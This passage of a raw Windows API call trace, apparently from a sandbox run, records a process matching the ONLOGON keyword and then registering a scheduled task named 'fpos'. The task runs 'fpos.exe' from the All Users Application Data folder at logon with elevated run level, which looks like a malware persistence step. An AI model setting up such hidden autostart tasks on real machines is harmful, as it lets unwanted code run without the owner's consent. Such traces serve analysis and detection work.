lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0086.257] lstrlenW (lpString="HOURLY") returned 6 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d720 [0086.257] GetThreadLocale () returned 0x409 [0086.257] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0086.257] GetProcessHeap () returned 0x50000 [0086.257] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cdb0 [0086.258] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.258] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0086.258] lstrlenW (lpString="DAILY") returned 5 [0086.258] GetProcessHeap () returned 0x50000 [0086.258] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xc) returned 0x6d740 [0086.258] GetThreadLocale () returned 0x409 [0086.258] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0086.258] GetProcessHeap () returned 0x50000 [0086.258] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd80 [0086.258] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.258] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0086.258] lstrlenW (lpString="WEEKLY") returned 6 [0086.258] GetProcessHeap () returned 0x50000 [0086.258] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xe) returned 0x6d760 [0086.258] GetThreadLocale () returned 0x409 [0086.258] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0086.258] GetProcessHeap () returned 0x50000 [0086.258] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd50 [0086.258] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.258] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0086.258] lstrlenW (lpString="MONTHLY") returned 7 [0086.258] GetProcessHeap () returned 0x50000 [0086.258] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x10) returned 0x6d780 [0086.258] GetThreadLocale () returned 0x409 [0086.258] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0086.259] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.259] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0086.259] lstrlenW (lpString="ONCE") returned 4 [0086.259] GetProcessHeap () returned 0x50000 [0086.259] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa) returned 0x6d7a0 [0086.259] GetThreadLocale () returned 0x409 [0086.259] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0086.259] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.259] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0086.259] lstrlenW (lpString="ONSTART") returned 7 [0086.259] GetThreadLocale () returned 0x409 [0086.259] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0086.259] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.259] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0086.259] lstrlenW (lpString="ONLOGON") returned 7 [0086.259] GetThreadLocale () returned 0x409 [0086.259] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0086.259] SetLastError (dwErrCode=0x0) [0086.259] GetProcessHeap () returned 0x50000 [0086.259] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x1fc) returned 0x6c470 [0086.260] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.260] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0086.260] lstrlenW (lpString="First") returned 5 [0086.260] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.260] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0086.260] lstrlenW (lpString="Second") returned 6 [0086.260] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.260] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0086.260] lstrlenW (lpString="Third") returned 5 [0086.260] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.260] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0086.260] lstrlenW (lpString="Fourth") returned 6 [0086.260] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.279] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0086.279] lstrlenW (lpString="Last") returned 4 [0086.279] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.279] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0086.279] lstrlenW (lpString="First") returned 5 [0086.279] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.279] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0086.279] lstrlenW (lpString="Second") returned 6 [0086.279] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.279] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0086.280] lstrlenW (lpString="Third") returned 5 [0086.280] GetProcessHeap () returned 0x50000 [0086.280] GetProcessHeap () returned 0x50000 [0086.280] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0) returned 1 [0086.280] GetProcessHeap () returned 0x50000 [0086.280] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d7a0) returned 0xa [0086.280] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d7a0 | out: hHeap=0x50000) returned 1 [0086.280] GetProcessHeap () returned 0x50000 [0086.280] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xc) returned 0x6d7a0 [0086.280] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.280] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0086.280] lstrlenW (lpString="Fourth") returned 6 [0086.280] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.280] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0086.280] lstrlenW (lpString="Last") returned 4 [0086.280] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc3c0, cchData=128 | out: lpLCData="0") returned 2 [0086.280] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.280] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0086.280] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0086.280] GetProcessHeap () returned 0x50000 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0) returned 1 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6c0) returned 0x10 [0086.281] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6c0 | out: hHeap=0x50000) returned 1 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d6c0 [0086.281] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1fc3e0, cchData=128 | out: lpLCData="0") returned 2 [0086.281] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.281] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0086.281] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6e0) returned 1 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6e0) returned 0x10 [0086.281] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6e0 | out: hHeap=0x50000) returned 1 [0086.281] GetProcessHeap () returned 0x50000 [0086.281] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x16) returned 0x6d6e0 [0086.281] GetLocalTime (in: lpSystemTime=0x1fc610 | out: lpSystemTime=0x1fc610*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xa, wMilliseconds=0x284)) [0086.281] GetLocalTime (in: lpSystemTime=0x1fcec8 | out: lpSystemTime=0x1fcec8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xa, wMilliseconds=0x284)) [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] lstrlenW (lpString="") returned 0 [0086.282] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0086.362] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0086.453] CoCreateInstance (in: rclsid=0xff901ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff901ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1fcc90 | out: ppv=0x1fcc90*=0x27dee0) returned 0x0 [0086.466] TaskScheduler:ITaskService:Connect (This=0x27dee0, serverName=0x1fcd70*(varType=0x8, wReserved1=0x1f, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1fcd30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1fcd50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcd10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0086.541] TaskScheduler:IUnknown:AddRef (This=0x27dee0) returned 0x2 [0086.541] TaskScheduler:ITaskService:GetFolder (in: This=0x27dee0, Path=0x0, ppFolder=0x1fce28 | out: ppFolder=0x1fce28*=0x447d40) returned 0x0 [0086.545] TaskScheduler:ITaskService:NewTask (in: This=0x27dee0, flags=0x0, ppDefinition=0x1fce20 | out: ppDefinition=0x1fce20*=0x447d90) returned 0x0 [0086.545] ITaskDefinition:get_Actions (in: This=0x447d90, ppActions=0x1fcda0 | out: ppActions=0x1fcda0*=0x447e50) returned 0x0 [0086.545] IActionCollection:Create (in: This=0x447e50, Type=0, ppAction=0x1fcdc0 | out: ppAction=0x1fcdc0*=0x4465e0) returned 0x0 [0086.545] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.546] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\fpos.exe'") returned 46 [0086.546] lstrlenW (lpString=" ") returned 1 [0086.546] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0086.546] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x41) returned 0x0 [0086.546] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x69) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x6e) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x20) returned=" " [0086.547] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0086.547] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0086.548] IUnknown:Release (This=0x4465e0) returned 0x1 [0086.548] IUnknown:Release (This=0x447e50) returned 0x1 [0086.548] ITaskDefinition:get_Triggers (in: This=0x447d90, ppTriggers=0x1fc920 | out: ppTriggers=0x1fc920*=0x446350) returned 0x0 [0086.548] ITriggerCollection:Create (in: This=0x446350, Type=9, ppTrigger=0x1fc918 | out: ppTrigger=0x1fc918*=0x446650) returned 0x0 [0086.548] IUnknown:QueryInterface (in: This=0x446650, riid=0xff901c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1fc910 | out: ppvObject=0x1fc910*=0x446650) returned 0x0 [0086.548] IUnknown:Release (This=0x446650) returned 0x2 [0086.549] _vsnwprintf (in: _Buffer=0x1fc860, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1fc838 | out: _Buffer="2023-09-19T17:17:00") returned 19 [0086.549] ITrigger:put_StartBoundary (This=0x446650, StartBoundary="2023-09-19T17:17:00") returned 0x0 [0086.549] lstrlenW (lpString="") returned 0 [0086.549] lstrlenW (lpString="") returned 0 [0086.549] lstrlenW (lpString="") returned 0 [0086.549] lstrlenW (lpString="") returned 0 [0086.549] IUnknown:Release (This=0x446650) returned 0x1 [0086.549] IUnknown:Release (This=0x446350) returned 0x1 [0086.549] ITaskDefinition:get_Settings (in: This=0x447d90, ppSettings=0x1fcdc0 | out: ppSettings=0x1fcdc0*=0x4463c0) returned 0x0 [0086.549] lstrlenW (lpString="") returned 0 [0086.549] IUnknown:Release (This=0x4463c0) returned 0x1 [0086.549] GetLocalTime (in: lpSystemTime=0x1fcc78 | out: lpSystemTime=0x1fcc78*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0x11, wSecond=0xa, wMilliseconds=0x38e)) [0086.550] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffcb0000 [0086.550] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetUserNameW") returned 0x7feffcc1fd0 [0086.550] GetUserNameW (in: lpBuffer=0x1fcca0, pcbBuffer=0x1fcc88 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1fcc88) returned 1 [0086.550] ITaskDefinition:get_RegistrationInfo (in: This=0x447d90, ppRegistrationInfo=0x1fcc70 | out: ppRegistrationInfo=0x1fcc70*=0x447ed0) returned 0x0 [0086.551] IRegistrationInfo:put_Author (This=0x447ed0, Author="") returned 0x0 [0086.551] _vsnwprintf (in: _Buffer=0x1fcca0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1fcc38 | out: _Buffer="2023-09-19T17:17:10") returned 19 [0086.551] IRegistrationInfo:put_Date (This=0x447ed0, Date="") returned 0x0 [0086.551] IUnknown:Release (This=0x447ed0) returned 0x1 [0086.551] malloc (_Size=0x18) returned 0x447fb0 [0086.551] free (_Block=0x447fb0) [0086.551] lstrlenW (lpString="") returned 0 [0086.551] ITaskDefinition:get_Principal (in: This=0x447d90, ppPrincipal=0x1fce90 | out: ppPrincipal=0x1fce90*=0x446530) returned 0x0 [0086.552] IPrincipal:put_RunLevel (This=0x446530, RunLevel=1) returned 0x0 [0086.552] IUnknown:Release (This=0x446530) returned 0x1 [0086.552] malloc (_Size=0x18) returned 0x447fb0 [0086.552] ITaskFolder:RegisterTaskDefinition (in: This=0x447d40, Path="fpos", pDefinition=0x447d90, flags=6, UserId=0x1fcf10*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fcf50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1fee20, varVal2=0xfe), LogonType=3, sddl=0x1fcf30*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1fce30 | out: ppTask=0x1fce30*=0x4468c0) returned 0x0 [0086.944] free (_Block=0x447fb0) [0086.944] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.944] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0086.944] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0086.944] GetProcessHeap () returned 0x50000 [0086.944] GetProcessHeap () returned 0x50000 [0086.944] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d700) returned 1 [0086.944] GetProcessHeap () returned 0x50000 [0086.944] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d700) returned 0xe [0086.944] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d700 | out: hHeap=0x50000) returned 1 [0086.944] GetProcessHeap () returned 0x50000 [0086.944] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x82) returned 0x89c30 [0086.944] _vsnwprintf (in: _Buffer=0x1fd570, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1fcdd8 | out: _Buffer="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n") returned 66 [0086.944] _fileno (_File=0x7feffe22ab0) returned -2 [0086.944] _errno () returned 0x444bb0 [0086.944] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0086.945] SetLastError (dwErrCode=0x6) [0086.945] lstrlenW (lpString="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n") returned 66 [0086.945] GetConsoleOutputCP () returned 0x0 [0086.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0086.945] GetConsoleOutputCP () returned 0x0 [0086.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0xff941880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"fpos\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0086.945] fprintf (in: _File=0x7feffe22ab0, _Format="%s" | out: _File=0x7feffe22ab0) returned 66 [0086.945] fflush (in: _File=0x7feffe22ab0 | out: _File=0x7feffe22ab0) returned -1 [0086.945] IUnknown:Release (This=0x4468c0) returned 0x0 [0086.945] TaskScheduler:IUnknown:Release (This=0x447d90) returned 0x0 [0086.945] TaskScheduler:IUnknown:Release (This=0x447d40) returned 0x0 [0086.945] TaskScheduler:IUnknown:Release (This=0x27dee0) returned 0x1 [0086.945] lstrlenW (lpString="") returned 0 [0086.945] GetProcessHeap () returned 0x50000 [0086.946] GetProcessHeap () returned 0x50000 [0086.946] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c470) returned 1 [0086.946] GetProcessHeap () returned 0x50000 [0086.946] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c470) returned 0x1fc [0086.946] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c470 | out: hHeap=0x50000) returned 1 [0086.946] GetProcessHeap () returned 0x50000 [0086.946] GetProcessHeap () returned 0x50000 [0086.946] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d680) returned 1 [0086.946] GetProcessHeap () returned 0x50000 [0086.946] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d680) returned 0x16 [0086.947] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d680 | out: hHeap=0x50000) returned 1 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660) returned 1 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d660) returned 0x18 [0086.947] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d660 | out: hHeap=0x50000) returned 1 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0) returned 1 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6ced0) returned 0x20 [0086.947] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6ced0 | out: hHeap=0x50000) returned 1 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] GetProcessHeap () returned 0x50000 [0086.947] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c150) returned 1 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c150) returned 0xa0 [0086.948] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c150 | out: hHeap=0x50000) returned 1 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0) returned 1 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6bbd0) returned 0x18 [0086.948] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6bbd0 | out: hHeap=0x50000) returned 1 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc90) returned 1 [0086.948] GetProcessHeap () returned 0x50000 [0086.948] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc90) returned 0x20 [0086.949] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc90 | out: hHeap=0x50000) returned 1 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0) returned 1 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c3b0) returned 0x5e [0086.949] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c3b0 | out: hHeap=0x50000) returned 1 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6a0) returned 1 [0086.949] GetProcessHeap () returned 0x50000 [0086.949] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6d6a0) returned 0x18 [0086.950] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6d6a0 | out: hHeap=0x50000) returned 1 [0086.950] GetProcessHeap () returned 0x50000 [0086.950] GetProcessHeap () returned 0x50000 [0086.950] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc60) returned 1 [0086.950] GetProcessHeap () returned 0x50000 [0086.950] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6cc60) returned 0x20 [0086.950] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6cc60 | out: hHeap=0x50000) returned 1 [0086.950] GetProcessHeap () returned 0x50000 [0086.950] GetProcessHeap () returned 0x50000 [0086.950] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6de10) returned 1 [0086.950] 